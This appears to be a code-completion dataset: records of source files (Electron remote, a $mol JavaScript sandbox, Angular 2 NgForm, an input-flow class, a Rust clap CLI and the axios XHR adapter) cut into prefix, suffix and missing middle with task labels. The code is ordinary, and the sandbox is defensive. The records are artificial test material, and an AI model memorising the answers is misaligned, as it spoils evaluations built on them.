passedContextId, id); } }); } const enableStacks = hasSwitch('enable-api-filtering-logging'); function getCurrentStack (): string | undefined { const target = { stack: undefined as string | undefined }; if (enableStacks) { Error.captureStackTrace(target, getCurrentStack); } return target.stack; } // Browser calls a callback in renderer. handleMessage(IPC_MESSAGES.RENDERER_CALLBACK, (id: number, args: any) => { callbacksRegistry.apply(id, metaToValue(args)); }); // A callback in browser is released. handleMessage(IPC_MESSAGES.RENDERER_RELEASE_CALLBACK, (id: number) => { callbacksRegistry.remove(id); }); exports.require = (module: string) => { const command = IPC_MESSAGES.BROWSER_REQUIRE; const meta = ipcRendererInternal.sendSync(command, contextId, module, getCurrentStack()); return metaToValue(meta); }; // Alias to remote.require('electron').xxx. export function getBuiltin (module: string) { const command = IPC_MESSAGES.BROWSER_GET_BUILTIN; const meta = ipcRendererInternal.sendSync(command, contextId, module, getCurrentStack()); return metaToValue(meta); } export function getCurrentWindow (): BrowserWindow { const command = IPC_MESSAGES.BROWSER_GET_CURRENT_WINDOW; const meta = ipcRendererInternal.sendSync(command, contextId, getCurrentStack()); return metaToValue(meta); } // Get current WebContents object. export function
getCurrentWebContents
identifier_name
sandbox.ts
namespace $ { export class $mol_func_sandbox { static blacklist = new Set([ ( function() {} ).constructor , ( async function() {} ).constructor , ( function*() {} ).constructor , ( async function*() {} ).constructor , eval , setTimeout , setInterval , ]) static whitelist = new WeakSet() static _make : ( contexts : Object[] )=> ( code : string )=> ()=> any static get make() { if( this._make ) return this._make const frame = $mol_dom_context.document.createElement( 'iframe' ) frame.style.display = 'none' $mol_dom_context.document.body.appendChild( frame ) const win = frame.contentWindow as any as typeof globalThis const SafeFunc = win.Function const SafeJSON = win.JSON win.eval( ` var AsyncFunction = AsyncFunction || ( async function() {} ).constructor var GeneratorFunction = GeneratorFunction || ( function*() {} ).constructor var AsyncGeneratorFunction = AsyncGeneratorFunction || ( async function*() {} ).constructor Object.defineProperty( Function.prototype , 'constructor' , { value : undefined } ) Object.defineProperty( AsyncFunction.prototype , 'constructor' , { value : undefined } ) Object.defineProperty( GeneratorFunction.prototype , 'constructor' , { value : undefined } ) Object.defineProperty( AsyncGeneratorFunction.prototype , 'constructor' , { value : undefined } ) delete Object.prototype.__proto__ for( const Class of [ String , Number , BigInt , Boolean , Array , Object , Promise , Symbol , RegExp , Window, Error , RangeError , ReferenceError , SyntaxError , TypeError , Function , AsyncFunction , GeneratorFunction , AsyncGeneratorFunction ] ) { Object.freeze( Class ) Object.freeze( Class.prototype ) } for( const key of Object.getOwnPropertyNames( window ) ) delete window[ key ] ` ) // Stop event-loop and break all async operations $mol_dom_context.document.body.removeChild( frame ) let context_default = {} function clean( obj : object ) { for( let name of Object.getOwnPropertyNames( obj ) ) { context_default[ name ] = undefined } const proto = Object.getPrototypeOf( obj ) if( proto ) clean( proto ) } clean( win ) const is_primitive = ( val : any )=> Object( val ) !== val const safe_value = ( val : any ) : any => { if( is_primitive( val ) ) return val if( this.blacklist.has( val ) ) return undefined if( this.whitelist.has( val ) ) return val const str = JSON.stringify( val ) if( !str ) return str val = SafeJSON.parse( str ) this.whitelist.add( val ) return val } const safe_derived = ( val : any ) : any => { if( is_primitive( val ) ) return val const proxy = new Proxy( val , { get( val , field : any ) { if( field === 'valueOf' ) return safe_derived( val[field] ) if( field === 'toString' ) return safe_derived( val[field] ) return safe_value( val[field] ) }, set() { return false }, defineProperty() { return false }, deleteProperty() { return false },
() { return false }, apply( val , host , args ) { return safe_value( val.call( host , ... args ) ) }, construct( val , args ) { return safe_value( new val( ... args ) ) }, }) this.whitelist.add( proxy ) return proxy } return this._make = ( ( ... contexts : Object[] )=> { const context_merged = {} for( let context of contexts ) { for( let name of Object.getOwnPropertyNames( context ) ) { context_merged[ name ] = safe_derived( context[ name ] ) } } const vars = Object.keys( context_merged ) const values = vars.map( name => context_merged[ name ] ) return ( code : string )=> { const func = new SafeFunc( ... vars , '"use strict";' + code ) .bind( null , ... values ) return ()=> { const val = func() if( is_primitive( val ) ) return val this.whitelist.add( val ) return val } } } ).bind( null , context_default ) } constructor( ... contexts : Object[] ) { this.contexts = contexts } contexts : Object[] _eval : ( ( code : string )=> ()=> any ) | undefined get eval() { if( this._eval ) return this._eval return this._eval = $mol_func_sandbox.make( ... this.contexts as [Object[]] ) } } }
preventExtensions
identifier_name
sandbox.ts
namespace $ { export class $mol_func_sandbox { static blacklist = new Set([ ( function() {} ).constructor , ( async function() {} ).constructor , ( function*() {} ).constructor , ( async function*() {} ).constructor , eval , setTimeout , setInterval , ]) static whitelist = new WeakSet() static _make : ( contexts : Object[] )=> ( code : string )=> ()=> any static get make() { if( this._make ) return this._make const frame = $mol_dom_context.document.createElement( 'iframe' ) frame.style.display = 'none' $mol_dom_context.document.body.appendChild( frame ) const win = frame.contentWindow as any as typeof globalThis const SafeFunc = win.Function const SafeJSON = win.JSON win.eval( ` var AsyncFunction = AsyncFunction || ( async function() {} ).constructor var GeneratorFunction = GeneratorFunction || ( function*() {} ).constructor
Object.defineProperty( AsyncGeneratorFunction.prototype , 'constructor' , { value : undefined } ) delete Object.prototype.__proto__ for( const Class of [ String , Number , BigInt , Boolean , Array , Object , Promise , Symbol , RegExp , Window, Error , RangeError , ReferenceError , SyntaxError , TypeError , Function , AsyncFunction , GeneratorFunction , AsyncGeneratorFunction ] ) { Object.freeze( Class ) Object.freeze( Class.prototype ) } for( const key of Object.getOwnPropertyNames( window ) ) delete window[ key ] ` ) // Stop event-loop and break all async operations $mol_dom_context.document.body.removeChild( frame ) let context_default = {} function clean( obj : object ) { for( let name of Object.getOwnPropertyNames( obj ) ) { context_default[ name ] = undefined } const proto = Object.getPrototypeOf( obj ) if( proto ) clean( proto ) } clean( win ) const is_primitive = ( val : any )=> Object( val ) !== val const safe_value = ( val : any ) : any => { if( is_primitive( val ) ) return val if( this.blacklist.has( val ) ) return undefined if( this.whitelist.has( val ) ) return val const str = JSON.stringify( val ) if( !str ) return str val = SafeJSON.parse( str ) this.whitelist.add( val ) return val } const safe_derived = ( val : any ) : any => { if( is_primitive( val ) ) return val const proxy = new Proxy( val , { get( val , field : any ) { if( field === 'valueOf' ) return safe_derived( val[field] ) if( field === 'toString' ) return safe_derived( val[field] ) return safe_value( val[field] ) }, set() { return false }, defineProperty() { return false }, deleteProperty() { return false }, preventExtensions() { return false }, apply( val , host , args ) { return safe_value( val.call( host , ... args ) ) }, construct( val , args ) { return safe_value( new val( ... args ) ) }, }) this.whitelist.add( proxy ) return proxy } return this._make = ( ( ... contexts : Object[] )=> { const context_merged = {} for( let context of contexts ) { for( let name of Object.getOwnPropertyNames( context ) ) { context_merged[ name ] = safe_derived( context[ name ] ) } } const vars = Object.keys( context_merged ) const values = vars.map( name => context_merged[ name ] ) return ( code : string )=> { const func = new SafeFunc( ... vars , '"use strict";' + code ) .bind( null , ... values ) return ()=> { const val = func() if( is_primitive( val ) ) return val this.whitelist.add( val ) return val } } } ).bind( null , context_default ) } constructor( ... contexts : Object[] ) { this.contexts = contexts } contexts : Object[] _eval : ( ( code : string )=> ()=> any ) | undefined get eval() { if( this._eval ) return this._eval return this._eval = $mol_func_sandbox.make( ... this.contexts as [Object[]] ) } } }
var AsyncGeneratorFunction = AsyncGeneratorFunction || ( async function*() {} ).constructor Object.defineProperty( Function.prototype , 'constructor' , { value : undefined } ) Object.defineProperty( AsyncFunction.prototype , 'constructor' , { value : undefined } ) Object.defineProperty( GeneratorFunction.prototype , 'constructor' , { value : undefined } )
random_line_split
ng_form.ts
import { PromiseWrapper, ObservableWrapper, EventEmitter, PromiseCompleter } from 'angular2/src/facade/async'; import {StringMapWrapper, List, ListWrapper} from 'angular2/src/facade/collection'; import {isPresent, isBlank, CONST_EXPR} from 'angular2/src/facade/lang'; import {Directive} from 'angular2/metadata'; import {forwardRef, Binding} from 'angular2/di'; import {NgControl} from './ng_control'; import {Form} from './form_interface'; import {NgControlGroup} from './ng_control_group'; import {ControlContainer} from './control_container'; import {AbstractControl, ControlGroup, Control} from '../model'; import {setUpControl} from './shared'; const formDirectiveBinding = CONST_EXPR(new Binding(ControlContainer, {toAlias: forwardRef(() => NgForm)})); /** * Creates and binds a form object to a DOM element. * * # Example * * ``` * @Component({selector: "signup-comp"}) * @View({ * directives: [FORM_DIRECTIVES], * template: ` * <form #f="form" (submit)='onSignUp(f.value)'> * <div ng-control-group='credentials' #credentials="form"> * Login <input type='text' ng-control='login'> * Password <input type='password' ng-control='password'> * </div> * <div *ng-if="!credentials.valid">Credentials are invalid</div> * * <div ng-control-group='personal'> * Name <input type='text' ng-control='name'> * </div> * <button type='submit'>Sign Up!</button> * </form> * `}) * class SignupComp { * onSignUp(value) { * // value === {personal: {name: 'some name'}, * // credentials: {login: 'some login', password: 'some password'}} * } * } * * ``` */ @Directive({ selector: 'form:not([ng-no-form]):not([ng-form-model]),ng-form,[ng-form]', bindings: [formDirectiveBinding], host: { '(submit)': 'onSubmit()', }, events: ['ngSubmit'], exportAs: 'form' }) export class NgForm extends ControlContainer implements Form { form: ControlGroup; ngSubmit = new EventEmitter(); constructor() { super(); this.form = new ControlGroup({}); } get formDirective(): Form { return this; } get control(): ControlGroup { return this.form; } get path(): List<string> { return []; } get controls(): StringMap<string, AbstractControl> { return this.form.controls; } addControl(dir: NgControl): void { this._later(_ => { var container = this._findContainer(dir.path); var c = new Control(); setUpControl(c, dir); container.addControl(dir.name, c); c.updateValidity(); }); } getControl(dir: NgControl): Control { return <Control>this.form.find(dir.path); } removeControl(dir: NgControl): void { this._later(_ => { var container = this._findContainer(dir.path); if (isPresent(container)) { container.removeControl(dir.name); container.updateValidity(); } }); } addControlGroup(dir: NgControlGroup): void { this._later(_ => { var container = this._findContainer(dir.path); var c = new ControlGroup({}); container.addControl(dir.name, c); c.updateValidity(); }); } removeControlGroup(dir: NgControlGroup): void { this._later(_ => { var container = this._findContainer(dir.path); if (isPresent(container))
}); } getControlGroup(dir: NgControlGroup): ControlGroup { return <ControlGroup>this.form.find(dir.path); } updateModel(dir: NgControl, value: any): void { this._later(_ => { var c = <Control>this.form.find(dir.path); c.updateValue(value); }); } onSubmit(): boolean { ObservableWrapper.callNext(this.ngSubmit, null); return false; } _findContainer(path: List<string>): ControlGroup { ListWrapper.removeLast(path); return ListWrapper.isEmpty(path) ? this.form : <ControlGroup>this.form.find(path); } _later(fn) { var c: PromiseCompleter<any> = PromiseWrapper.completer(); PromiseWrapper.then(c.promise, fn, (_) => {}); c.resolve(null); } }
{ container.removeControl(dir.name); container.updateValidity(); }
conditional_block
ng_form.ts
import { PromiseWrapper, ObservableWrapper, EventEmitter, PromiseCompleter } from 'angular2/src/facade/async'; import {StringMapWrapper, List, ListWrapper} from 'angular2/src/facade/collection'; import {isPresent, isBlank, CONST_EXPR} from 'angular2/src/facade/lang'; import {Directive} from 'angular2/metadata'; import {forwardRef, Binding} from 'angular2/di'; import {NgControl} from './ng_control'; import {Form} from './form_interface'; import {NgControlGroup} from './ng_control_group'; import {ControlContainer} from './control_container'; import {AbstractControl, ControlGroup, Control} from '../model'; import {setUpControl} from './shared'; const formDirectiveBinding = CONST_EXPR(new Binding(ControlContainer, {toAlias: forwardRef(() => NgForm)})); /** * Creates and binds a form object to a DOM element. * * # Example * * ``` * @Component({selector: "signup-comp"}) * @View({ * directives: [FORM_DIRECTIVES], * template: ` * <form #f="form" (submit)='onSignUp(f.value)'> * <div ng-control-group='credentials' #credentials="form"> * Login <input type='text' ng-control='login'> * Password <input type='password' ng-control='password'> * </div> * <div *ng-if="!credentials.valid">Credentials are invalid</div> * * <div ng-control-group='personal'> * Name <input type='text' ng-control='name'> * </div> * <button type='submit'>Sign Up!</button>
* </form> * `}) * class SignupComp { * onSignUp(value) { * // value === {personal: {name: 'some name'}, * // credentials: {login: 'some login', password: 'some password'}} * } * } * * ``` */ @Directive({ selector: 'form:not([ng-no-form]):not([ng-form-model]),ng-form,[ng-form]', bindings: [formDirectiveBinding], host: { '(submit)': 'onSubmit()', }, events: ['ngSubmit'], exportAs: 'form' }) export class NgForm extends ControlContainer implements Form { form: ControlGroup; ngSubmit = new EventEmitter(); constructor() { super(); this.form = new ControlGroup({}); } get formDirective(): Form { return this; } get control(): ControlGroup { return this.form; } get path(): List<string> { return []; } get controls(): StringMap<string, AbstractControl> { return this.form.controls; } addControl(dir: NgControl): void { this._later(_ => { var container = this._findContainer(dir.path); var c = new Control(); setUpControl(c, dir); container.addControl(dir.name, c); c.updateValidity(); }); } getControl(dir: NgControl): Control { return <Control>this.form.find(dir.path); } removeControl(dir: NgControl): void { this._later(_ => { var container = this._findContainer(dir.path); if (isPresent(container)) { container.removeControl(dir.name); container.updateValidity(); } }); } addControlGroup(dir: NgControlGroup): void { this._later(_ => { var container = this._findContainer(dir.path); var c = new ControlGroup({}); container.addControl(dir.name, c); c.updateValidity(); }); } removeControlGroup(dir: NgControlGroup): void { this._later(_ => { var container = this._findContainer(dir.path); if (isPresent(container)) { container.removeControl(dir.name); container.updateValidity(); } }); } getControlGroup(dir: NgControlGroup): ControlGroup { return <ControlGroup>this.form.find(dir.path); } updateModel(dir: NgControl, value: any): void { this._later(_ => { var c = <Control>this.form.find(dir.path); c.updateValue(value); }); } onSubmit(): boolean { ObservableWrapper.callNext(this.ngSubmit, null); return false; } _findContainer(path: List<string>): ControlGroup { ListWrapper.removeLast(path); return ListWrapper.isEmpty(path) ? this.form : <ControlGroup>this.form.find(path); } _later(fn) { var c: PromiseCompleter<any> = PromiseWrapper.completer(); PromiseWrapper.then(c.promise, fn, (_) => {}); c.resolve(null); } }
random_line_split
ng_form.ts
import { PromiseWrapper, ObservableWrapper, EventEmitter, PromiseCompleter } from 'angular2/src/facade/async'; import {StringMapWrapper, List, ListWrapper} from 'angular2/src/facade/collection'; import {isPresent, isBlank, CONST_EXPR} from 'angular2/src/facade/lang'; import {Directive} from 'angular2/metadata'; import {forwardRef, Binding} from 'angular2/di'; import {NgControl} from './ng_control'; import {Form} from './form_interface'; import {NgControlGroup} from './ng_control_group'; import {ControlContainer} from './control_container'; import {AbstractControl, ControlGroup, Control} from '../model'; import {setUpControl} from './shared'; const formDirectiveBinding = CONST_EXPR(new Binding(ControlContainer, {toAlias: forwardRef(() => NgForm)})); /** * Creates and binds a form object to a DOM element. * * # Example * * ``` * @Component({selector: "signup-comp"}) * @View({ * directives: [FORM_DIRECTIVES], * template: ` * <form #f="form" (submit)='onSignUp(f.value)'> * <div ng-control-group='credentials' #credentials="form"> * Login <input type='text' ng-control='login'> * Password <input type='password' ng-control='password'> * </div> * <div *ng-if="!credentials.valid">Credentials are invalid</div> * * <div ng-control-group='personal'> * Name <input type='text' ng-control='name'> * </div> * <button type='submit'>Sign Up!</button> * </form> * `}) * class SignupComp { * onSignUp(value) { * // value === {personal: {name: 'some name'}, * // credentials: {login: 'some login', password: 'some password'}} * } * } * * ``` */ @Directive({ selector: 'form:not([ng-no-form]):not([ng-form-model]),ng-form,[ng-form]', bindings: [formDirectiveBinding], host: { '(submit)': 'onSubmit()', }, events: ['ngSubmit'], exportAs: 'form' }) export class NgForm extends ControlContainer implements Form { form: ControlGroup; ngSubmit = new EventEmitter(); constructor() { super(); this.form = new ControlGroup({}); } get formDirective(): Form { return this; } get control(): ControlGroup { return this.form; } get path(): List<string> { return []; } get controls(): StringMap<string, AbstractControl> { return this.form.controls; } addControl(dir: NgControl): void
getControl(dir: NgControl): Control { return <Control>this.form.find(dir.path); } removeControl(dir: NgControl): void { this._later(_ => { var container = this._findContainer(dir.path); if (isPresent(container)) { container.removeControl(dir.name); container.updateValidity(); } }); } addControlGroup(dir: NgControlGroup): void { this._later(_ => { var container = this._findContainer(dir.path); var c = new ControlGroup({}); container.addControl(dir.name, c); c.updateValidity(); }); } removeControlGroup(dir: NgControlGroup): void { this._later(_ => { var container = this._findContainer(dir.path); if (isPresent(container)) { container.removeControl(dir.name); container.updateValidity(); } }); } getControlGroup(dir: NgControlGroup): ControlGroup { return <ControlGroup>this.form.find(dir.path); } updateModel(dir: NgControl, value: any): void { this._later(_ => { var c = <Control>this.form.find(dir.path); c.updateValue(value); }); } onSubmit(): boolean { ObservableWrapper.callNext(this.ngSubmit, null); return false; } _findContainer(path: List<string>): ControlGroup { ListWrapper.removeLast(path); return ListWrapper.isEmpty(path) ? this.form : <ControlGroup>this.form.find(path); } _later(fn) { var c: PromiseCompleter<any> = PromiseWrapper.completer(); PromiseWrapper.then(c.promise, fn, (_) => {}); c.resolve(null); } }
{ this._later(_ => { var container = this._findContainer(dir.path); var c = new Control(); setUpControl(c, dir); container.addControl(dir.name, c); c.updateValidity(); }); }
identifier_body
ng_form.ts
import { PromiseWrapper, ObservableWrapper, EventEmitter, PromiseCompleter } from 'angular2/src/facade/async'; import {StringMapWrapper, List, ListWrapper} from 'angular2/src/facade/collection'; import {isPresent, isBlank, CONST_EXPR} from 'angular2/src/facade/lang'; import {Directive} from 'angular2/metadata'; import {forwardRef, Binding} from 'angular2/di'; import {NgControl} from './ng_control'; import {Form} from './form_interface'; import {NgControlGroup} from './ng_control_group'; import {ControlContainer} from './control_container'; import {AbstractControl, ControlGroup, Control} from '../model'; import {setUpControl} from './shared'; const formDirectiveBinding = CONST_EXPR(new Binding(ControlContainer, {toAlias: forwardRef(() => NgForm)})); /** * Creates and binds a form object to a DOM element. * * # Example * * ``` * @Component({selector: "signup-comp"}) * @View({ * directives: [FORM_DIRECTIVES], * template: ` * <form #f="form" (submit)='onSignUp(f.value)'> * <div ng-control-group='credentials' #credentials="form"> * Login <input type='text' ng-control='login'> * Password <input type='password' ng-control='password'> * </div> * <div *ng-if="!credentials.valid">Credentials are invalid</div> * * <div ng-control-group='personal'> * Name <input type='text' ng-control='name'> * </div> * <button type='submit'>Sign Up!</button> * </form> * `}) * class SignupComp { * onSignUp(value) { * // value === {personal: {name: 'some name'}, * // credentials: {login: 'some login', password: 'some password'}} * } * } * * ``` */ @Directive({ selector: 'form:not([ng-no-form]):not([ng-form-model]),ng-form,[ng-form]', bindings: [formDirectiveBinding], host: { '(submit)': 'onSubmit()', }, events: ['ngSubmit'], exportAs: 'form' }) export class NgForm extends ControlContainer implements Form { form: ControlGroup; ngSubmit = new EventEmitter(); constructor() { super(); this.form = new ControlGroup({}); } get formDirective(): Form { return this; } get control(): ControlGroup { return this.form; } get path(): List<string> { return []; } get controls(): StringMap<string, AbstractControl> { return this.form.controls; } addControl(dir: NgControl): void { this._later(_ => { var container = this._findContainer(dir.path); var c = new Control(); setUpControl(c, dir); container.addControl(dir.name, c); c.updateValidity(); }); } getControl(dir: NgControl): Control { return <Control>this.form.find(dir.path); } removeControl(dir: NgControl): void { this._later(_ => { var container = this._findContainer(dir.path); if (isPresent(container)) { container.removeControl(dir.name); container.updateValidity(); } }); } addControlGroup(dir: NgControlGroup): void { this._later(_ => { var container = this._findContainer(dir.path); var c = new ControlGroup({}); container.addControl(dir.name, c); c.updateValidity(); }); } removeControlGroup(dir: NgControlGroup): void { this._later(_ => { var container = this._findContainer(dir.path); if (isPresent(container)) { container.removeControl(dir.name); container.updateValidity(); } }); }
(dir: NgControlGroup): ControlGroup { return <ControlGroup>this.form.find(dir.path); } updateModel(dir: NgControl, value: any): void { this._later(_ => { var c = <Control>this.form.find(dir.path); c.updateValue(value); }); } onSubmit(): boolean { ObservableWrapper.callNext(this.ngSubmit, null); return false; } _findContainer(path: List<string>): ControlGroup { ListWrapper.removeLast(path); return ListWrapper.isEmpty(path) ? this.form : <ControlGroup>this.form.find(path); } _later(fn) { var c: PromiseCompleter<any> = PromiseWrapper.completer(); PromiseWrapper.then(c.promise, fn, (_) => {}); c.resolve(null); } }
getControlGroup
identifier_name
base.ts
import { MouseEvent, Touch } from 'react'; export type UIInputEvent = Touch | MouseEvent; export interface UIInputFlow { start(event: UIInputEvent): void; move(event: UIInputEvent): void; end(): void; } export abstract class AbstractInputFlow<T> implements UIInputFlow { protected fillElement: HTMLElement; protected constructor(protected communication: WebSocketSession, protected element: HTMLElement) { this.fillElement = element.querySelector('.fill'); } public start(event: UIInputEvent): void { const value = this.onStart(event); if (value != null) { this.fill(value); this.sendValue(value); } } public move(event: UIInputEvent): void { const value = this.onMove(event); if (value != null) { this.fill(value); this.sendValue(value); } } public end(): void { const value = this.onEnd(); if (value != null) { this.fill(value); this.sendValue(value); } } protected abstract onStart(event: UIInputEvent): T; protected abstract onMove(event: UIInputEvent): T; protected abstract onEnd(): T; protected abstract fill(value: T): void; protected abstract sendValue(value: T): void; protected getXRatio(event: UIInputEvent, inverted = false): number { const element = this.element; let ratio; if (inverted) { const elementPageX = window.pageXOffset + element.getBoundingClientRect().right; ratio = -(event.pageX - elementPageX) / element.offsetWidth; } else { const elementPageX = window.pageXOffset + element.getBoundingClientRect().left; ratio = (event.pageX - elementPageX) / element.offsetWidth; } return this.normalize(ratio); } protected getYRatio(event: UIInputEvent): number { const element = this.element; const elementPageY = window.pageYOffset + element.getBoundingClientRect().top; const ratio = (event.pageY - elementPageY) / element.offsetHeight; return this.normalize(ratio); } private normalize(value: number): number { if (value > 1) { return 1; } if (value < 0) { return 0; } return value; } }
import { WebSocketSession } from '@xoutput/client';
random_line_split
base.ts
import { WebSocketSession } from '@xoutput/client'; import { MouseEvent, Touch } from 'react'; export type UIInputEvent = Touch | MouseEvent; export interface UIInputFlow { start(event: UIInputEvent): void; move(event: UIInputEvent): void; end(): void; } export abstract class AbstractInputFlow<T> implements UIInputFlow { protected fillElement: HTMLElement; protected constructor(protected communication: WebSocketSession, protected element: HTMLElement) { this.fillElement = element.querySelector('.fill'); } public start(event: UIInputEvent): void { const value = this.onStart(event); if (value != null) { this.fill(value); this.sendValue(value); } } public move(event: UIInputEvent): void { const value = this.onMove(event); if (value != null) { this.fill(value); this.sendValue(value); } } public
(): void { const value = this.onEnd(); if (value != null) { this.fill(value); this.sendValue(value); } } protected abstract onStart(event: UIInputEvent): T; protected abstract onMove(event: UIInputEvent): T; protected abstract onEnd(): T; protected abstract fill(value: T): void; protected abstract sendValue(value: T): void; protected getXRatio(event: UIInputEvent, inverted = false): number { const element = this.element; let ratio; if (inverted) { const elementPageX = window.pageXOffset + element.getBoundingClientRect().right; ratio = -(event.pageX - elementPageX) / element.offsetWidth; } else { const elementPageX = window.pageXOffset + element.getBoundingClientRect().left; ratio = (event.pageX - elementPageX) / element.offsetWidth; } return this.normalize(ratio); } protected getYRatio(event: UIInputEvent): number { const element = this.element; const elementPageY = window.pageYOffset + element.getBoundingClientRect().top; const ratio = (event.pageY - elementPageY) / element.offsetHeight; return this.normalize(ratio); } private normalize(value: number): number { if (value > 1) { return 1; } if (value < 0) { return 0; } return value; } }
end
identifier_name
base.ts
import { WebSocketSession } from '@xoutput/client'; import { MouseEvent, Touch } from 'react'; export type UIInputEvent = Touch | MouseEvent; export interface UIInputFlow { start(event: UIInputEvent): void; move(event: UIInputEvent): void; end(): void; } export abstract class AbstractInputFlow<T> implements UIInputFlow { protected fillElement: HTMLElement; protected constructor(protected communication: WebSocketSession, protected element: HTMLElement) { this.fillElement = element.querySelector('.fill'); } public start(event: UIInputEvent): void { const value = this.onStart(event); if (value != null) { this.fill(value); this.sendValue(value); } } public move(event: UIInputEvent): void { const value = this.onMove(event); if (value != null) { this.fill(value); this.sendValue(value); } } public end(): void { const value = this.onEnd(); if (value != null) { this.fill(value); this.sendValue(value); } } protected abstract onStart(event: UIInputEvent): T; protected abstract onMove(event: UIInputEvent): T; protected abstract onEnd(): T; protected abstract fill(value: T): void; protected abstract sendValue(value: T): void; protected getXRatio(event: UIInputEvent, inverted = false): number { const element = this.element; let ratio; if (inverted) { const elementPageX = window.pageXOffset + element.getBoundingClientRect().right; ratio = -(event.pageX - elementPageX) / element.offsetWidth; } else { const elementPageX = window.pageXOffset + element.getBoundingClientRect().left; ratio = (event.pageX - elementPageX) / element.offsetWidth; } return this.normalize(ratio); } protected getYRatio(event: UIInputEvent): number { const element = this.element; const elementPageY = window.pageYOffset + element.getBoundingClientRect().top; const ratio = (event.pageY - elementPageY) / element.offsetHeight; return this.normalize(ratio); } private normalize(value: number): number { if (value > 1)
if (value < 0) { return 0; } return value; } }
{ return 1; }
conditional_block
base.ts
import { WebSocketSession } from '@xoutput/client'; import { MouseEvent, Touch } from 'react'; export type UIInputEvent = Touch | MouseEvent; export interface UIInputFlow { start(event: UIInputEvent): void; move(event: UIInputEvent): void; end(): void; } export abstract class AbstractInputFlow<T> implements UIInputFlow { protected fillElement: HTMLElement; protected constructor(protected communication: WebSocketSession, protected element: HTMLElement) { this.fillElement = element.querySelector('.fill'); } public start(event: UIInputEvent): void { const value = this.onStart(event); if (value != null) { this.fill(value); this.sendValue(value); } } public move(event: UIInputEvent): void { const value = this.onMove(event); if (value != null) { this.fill(value); this.sendValue(value); } } public end(): void
protected abstract onStart(event: UIInputEvent): T; protected abstract onMove(event: UIInputEvent): T; protected abstract onEnd(): T; protected abstract fill(value: T): void; protected abstract sendValue(value: T): void; protected getXRatio(event: UIInputEvent, inverted = false): number { const element = this.element; let ratio; if (inverted) { const elementPageX = window.pageXOffset + element.getBoundingClientRect().right; ratio = -(event.pageX - elementPageX) / element.offsetWidth; } else { const elementPageX = window.pageXOffset + element.getBoundingClientRect().left; ratio = (event.pageX - elementPageX) / element.offsetWidth; } return this.normalize(ratio); } protected getYRatio(event: UIInputEvent): number { const element = this.element; const elementPageY = window.pageYOffset + element.getBoundingClientRect().top; const ratio = (event.pageY - elementPageY) / element.offsetHeight; return this.normalize(ratio); } private normalize(value: number): number { if (value > 1) { return 1; } if (value < 0) { return 0; } return value; } }
{ const value = this.onEnd(); if (value != null) { this.fill(value); this.sendValue(value); } }
identifier_body
app.rs
use clap::{App, AppSettings, Arg, ArgGroup, SubCommand}; pub fn build() -> App<'static, 'static> { App::new(crate_name!()) .about(crate_description!()) .version(crate_version!()) .setting(AppSettings::SubcommandRequired) .setting(AppSettings::VersionlessSubcommands) .subcommand(SubCommand::with_name("digraph") .about("Digraph lookup and resolution") .setting(AppSettings::AllowLeadingHyphen) .setting(AppSettings::UnifiedHelpMessage) .arg(Arg::with_name("convert") .help("Converts a digraph sequence or a character to the other") .long("convert") .short("c") .takes_value(true)) .arg(Arg::with_name("filter") .help("Prints information about matching digraphs")
.short("f") .takes_value(true)) .arg(Arg::with_name("description") .help("Prints results with description") .long("description") .short("d") .requires("filter")) .group(ArgGroup::with_name("modes") .args(&["convert", "filter"]) .required(true))) }
.long("filter")
random_line_split
app.rs
use clap::{App, AppSettings, Arg, ArgGroup, SubCommand}; pub fn build() -> App<'static, 'static>
.arg(Arg::with_name("description") .help("Prints results with description") .long("description") .short("d") .requires("filter")) .group(ArgGroup::with_name("modes") .args(&["convert", "filter"]) .required(true))) }
{ App::new(crate_name!()) .about(crate_description!()) .version(crate_version!()) .setting(AppSettings::SubcommandRequired) .setting(AppSettings::VersionlessSubcommands) .subcommand(SubCommand::with_name("digraph") .about("Digraph lookup and resolution") .setting(AppSettings::AllowLeadingHyphen) .setting(AppSettings::UnifiedHelpMessage) .arg(Arg::with_name("convert") .help("Converts a digraph sequence or a character to the other") .long("convert") .short("c") .takes_value(true)) .arg(Arg::with_name("filter") .help("Prints information about matching digraphs") .long("filter") .short("f") .takes_value(true))
identifier_body
app.rs
use clap::{App, AppSettings, Arg, ArgGroup, SubCommand}; pub fn
() -> App<'static, 'static> { App::new(crate_name!()) .about(crate_description!()) .version(crate_version!()) .setting(AppSettings::SubcommandRequired) .setting(AppSettings::VersionlessSubcommands) .subcommand(SubCommand::with_name("digraph") .about("Digraph lookup and resolution") .setting(AppSettings::AllowLeadingHyphen) .setting(AppSettings::UnifiedHelpMessage) .arg(Arg::with_name("convert") .help("Converts a digraph sequence or a character to the other") .long("convert") .short("c") .takes_value(true)) .arg(Arg::with_name("filter") .help("Prints information about matching digraphs") .long("filter") .short("f") .takes_value(true)) .arg(Arg::with_name("description") .help("Prints results with description") .long("description") .short("d") .requires("filter")) .group(ArgGroup::with_name("modes") .args(&["convert", "filter"]) .required(true))) }
build
identifier_name
xhr.js
'use strict'; /*global ActiveXObject:true*/ var defaults = require('./../defaults'); var utils = require('./../utils'); var buildUrl = require('./../helpers/buildUrl'); var cookies = require('./../helpers/cookies'); var parseHeaders = require('./../helpers/parseHeaders'); var transformData = require('./../helpers/transformData'); var urlIsSameOrigin = require('./../helpers/urlIsSameOrigin'); module.exports = function xhrAdapter(resolve, reject, config) { // Transform request data var data = transformData( config.data, config.headers, config.transformRequest ); // Merge headers var requestHeaders = utils.merge( defaults.headers.common, defaults.headers[config.method] || {}, config.headers || {} ); if (utils.isFormData(data)) { delete requestHeaders['Content-Type']; // Let the browser set it } // Create the request var request = new (XMLHttpRequest || ActiveXObject)('Microsoft.XMLHTTP'); request.open(config.method.toUpperCase(), buildUrl(config.url, config.params), true); // Set the request timeout in MS request.timeout = config.timeout; // Listen for ready state request.onreadystatechange = function () { if (request && request.readyState === 4) { // Prepare the response var responseHeaders = parseHeaders(request.getAllResponseHeaders()); var responseData = ['text', ''].indexOf(config.responseType || '') !== -1 ? request.responseText : request.response; var response = { data: transformData( responseData, responseHeaders, config.transformResponse ), status: request.status, statusText: request.statusText, headers: responseHeaders, config: config }; // Resolve or reject the Promise based on the status (request.status >= 200 && request.status < 300 ? resolve : reject)(response); // Clean up request request = null; } }; // Add xsrf header var xsrfValue = urlIsSameOrigin(config.url) ? cookies.read(config.xsrfCookieName || defaults.xsrfCookieName) : undefined; if (xsrfValue) { requestHeaders[config.xsrfHeaderName || defaults.xsrfHeaderName] = xsrfValue; } // Add headers to the request utils.forEach(requestHeaders, function (val, key) { // Remove Content-Type if data is undefined if (!data && key.toLowerCase() === 'content-type') { delete requestHeaders[key]; } // Otherwise add header to the request else
